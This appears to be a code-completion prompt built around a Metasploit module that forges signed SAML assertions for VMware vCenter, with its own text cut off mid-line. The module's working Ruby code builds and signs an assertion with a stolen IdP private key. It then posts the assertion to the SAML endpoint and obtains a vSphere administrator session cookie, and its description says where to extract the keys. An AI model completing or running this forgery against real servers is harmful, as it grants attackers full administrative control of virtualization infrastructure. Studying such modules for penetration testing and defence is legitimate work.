You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: vcenter_forge_saml_token.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/admin/vmware
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::WmapScanUniqueQuery
  include Msf::Exploit::Remote::HttpClient

  NS_MAP = {
    'c14n' => 'http://www.w3.org/2001/10/xml-exc-c14n#',
    'ds' => 'http://www.w3.org/2000/09/xmldsig#',
    'saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion',
    'saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol',
    'md' => 'urn:oasis:names:tc:SAML:2.0:metadata',
    'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
    'xs' => 'http://www.w3.org/2001/XMLSchema'
  }.freeze

  PREFIX_LIST = 'xsd xsi'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware vCenter Forge SAML Authentication Credentials',
        'Description' => %q{
          This module forges valid SAML credentials for vCenter server
          using the vCenter SSO IdP certificate, IdP private key, and
          VMCA certificates as input objects; you must also  provide
          the vCenter SSO domain name and vCenter FQDN. The module will
          return a session cookie for the /ui path that grants access to
          the SSO domain as a vSphere administrator. The IdP trusted
          certificate chain can be retrieved using Metasploit post
          exploitation modules or extracted manually from
          /storage/db/vmware-vmdir/data.mdb using binwalk.
        },
        'Author' => 'npm[at]cesium137.io',
        'Platform' => [ 'linux' ],
        'DisclosureDate' => '2022-04-20',
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/']
        ],
        'Actions' => [
          [
            'Run',
            {
              'Description' => 'Generate vSphere session cookie'
            }
          ]
        ],
        'DefaultAction' => 'Run',
        'DefaultOptions' => {
          'USERNAME' => 'administrator',
          'DOMAIN' => 'vsphere.local',
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ]
        },
        'Privileged' => true
      )
    )

    register_options([
      OptString.new('USERNAME', [ true, 'The username to target using forged credentials', 'administrator' ]),
      OptString.new('DOMAIN', [true, 'The target vSphere SSO domain', 'vsphere.local']),
      OptString.new('VHOST', [true, 'DNS FQDN of the vCenter server']),
      OptPath.new('VC_IDP_CERT', [ true, 'Path to the vCenter IdP certificate' ]),
      OptPath.new('VC_IDP_KEY', [ true, 'Path to the vCenter IdP private key' ]),
      OptPath.new('VC_VMCA_CERT', [ true, 'Path to the vCenter VMCA certificate' ])
    ])

    register_advanced_options([
      OptInt.new('VC_IDP_TOKEN_BEFORE_
    
  def get_saml_response_template
    template_path = ::File.join(::Msf::Config.data_directory, 'auxiliary', 'vmware', 'vcenter_forge_saml_token', 'assert.xml.erb')
    template = ::File.binread(template_path)

    b = binding

    context = {
      vcenter_fqdn: vcenter_fqdn,
      vcenter_saml_id: @vcenter_saml_id,
      vcenter_saml_issue: @vcenter_saml_issue,
      vcenter_saml_user: username,
      vcenter_saml_domain: domain,
      vcenter_saml_response_id: @vcenter_saml_response_id,
      vcenter_saml_assert_id: @vcenter_saml_assert_id,
      vcenter_saml_idx_id: @vcenter_saml_idx_id,
      vcenter_saml_not_before: @vcenter_saml_not_before,
      vcenter_saml_not_after: @vcenter_saml_not_after
    }

    locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
    b.eval(locals.join)
    body = b.eval(Erubi::Engine.new(template).src)

    body.to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
  end

  def sign_vcenter_saml(xml)
    xmldoc = Nokogiri::XML(xml) do |config|
      config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
    end

    ds_element = REXML::Element.new('ds:Signature').add_namespace('ds', NS_MAP['ds'])
    ds_sig_element = ds_element.add_element('ds:SignedInfo')
    ds_sig_element.add_element('ds:CanonicalizationMethod', { 'Algorithm' => NS_MAP['c14n'] })
    ds_sig_element.add_element('ds:SignatureMethod', { 'Algorithm' => 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256' })
    ds_ref_element = ds_sig_element.add_element('ds:Reference', { 'URI' => "#_#{@vcenter_saml_assert_id}" })
    ds_tx_element = ds_ref_element.add_element('ds:Transforms')
    ds_tx_element.add_element('ds:Transform', { 'Algorithm' => 'http://www.w3.org/2000/09/xmldsig#enveloped-signature' })
    ds_c14_element = ds_tx_element.add_element('ds:Transform', { 'Algorithm' => NS_MAP['c14n'] })
    ds_c14_element.add_element('ec:InclusiveNamespaces', { 'xmlns:ec' => NS_MAP['c14n'], 'PrefixList' => PREFIX_LIST })
    ds_ref_element.add_element('ds:DigestMethod', { 'Algorithm' => 'http://www.w3.org/2001/04/xmlenc#sha256' })

    inclusive_namespaces = PREFIX_LIST.split(' ')
    dest_node = xmldoc.at_xpath('//saml2p:Response/saml2:Assertion', NS_MAP)
    canon_doc = dest_node.canonicalize(Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0, inclusive_namespaces)

    digest_b64 = Base64.strict_encode64(OpenSSL::Digest::SHA256.digest(canon_doc))
    ds_ref_element.add_element('ds:DigestValue').text = digest_b64

    noko_sig_element = Nokogiri::XML(ds_element.to_s) do |config|
      config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
    end

    noko_signed_info_element = noko_sig_element.at_xpath('//ds:Signature/ds:SignedInfo', NS_MAP)
    c14n_string = noko_signed_info_element.canonicalize(Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0)

    signature = Base64.strict_encode64(@vcenter_saml_idp_key.sign('rsa-sha256', c14n_string))
    ds_element.add_element('ds:SignatureValue').text = signature

    key_info_element = ds_element.add_element('ds:KeyInfo')

    x509_element = key_info_element.add_element('ds:X509Data')
    x509_cert_element = x509_element.add_element('ds:X509Certificate')
    x509_cert_element.text = Base64.strict_encode64(@vcenter_saml_idp_cert.to_der)

    x509_element = key_info_element.add_element('ds:X509Data')
    x509_cert_element = x509_element.add_element('ds:X509Certificate')
    x509_cert_element.text = Base64.strict_encode64(@vcenter_saml_ca_cert.to_der)

    noko_signed_signature_element = Nokogiri::XML(ds_element.to_s) do |config|
      config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
    end

    xmldoc.at_xpath('//saml2:Assertion/saml2:Issuer', NS_MAP).add_next_sibling(noko_signed_signature_element.document.root.to_s)

    xmldoc.document.to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
  end

  def submit_vcenter_auth(xml)
    saml_response = Base64.strict_encode64(xml)

    if @vcenter_saml_relay_state
      res = send_request_cgi({
        'uri' => '/ui/saml/websso/sso',
        'method' => 'POST',
        'vars_post' => {
          'SAMLResponse' => saml_response,
          'RelayState' => @vcenter_saml_relay_state
        },
        'keep_cookies' => true
      })
    else
      res = send_request_cgi({
        'uri' => '/ui/saml/websso/sso',
        'method' => 'POST',
        'vars_post' => {
          'SAMLResponse' => saml_response
        },
        'keep_cookies' => true
      })
    end

    unless res
      fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost} - could not reach SAML endpoint")
    end